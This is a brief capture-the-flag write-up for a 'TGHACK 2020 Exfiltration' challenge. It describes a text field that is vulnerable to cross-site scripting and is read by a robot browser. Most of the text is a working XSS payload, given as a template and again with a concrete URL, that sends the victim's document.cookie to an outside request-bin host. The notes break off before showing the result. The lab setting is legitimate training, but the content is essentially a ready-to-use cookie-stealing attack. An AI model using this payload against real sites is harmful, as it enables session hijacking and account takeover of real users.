TGHACK 2020 Exfiltration

Saturday, March 7, 2020 12:16 PM

Simple text field vuln to XSS. A robot browser will read your post.

Get a url from pasteb.in and do:

<script>document.location = '<your postb.in url here>' + '?data=' + document.cookie;</script>

e.g.

<script>document.location='https://postb.in/1586399699025-5537020156625?data='+document.cookie</script>

Wait a bit then refresh postb.in to get: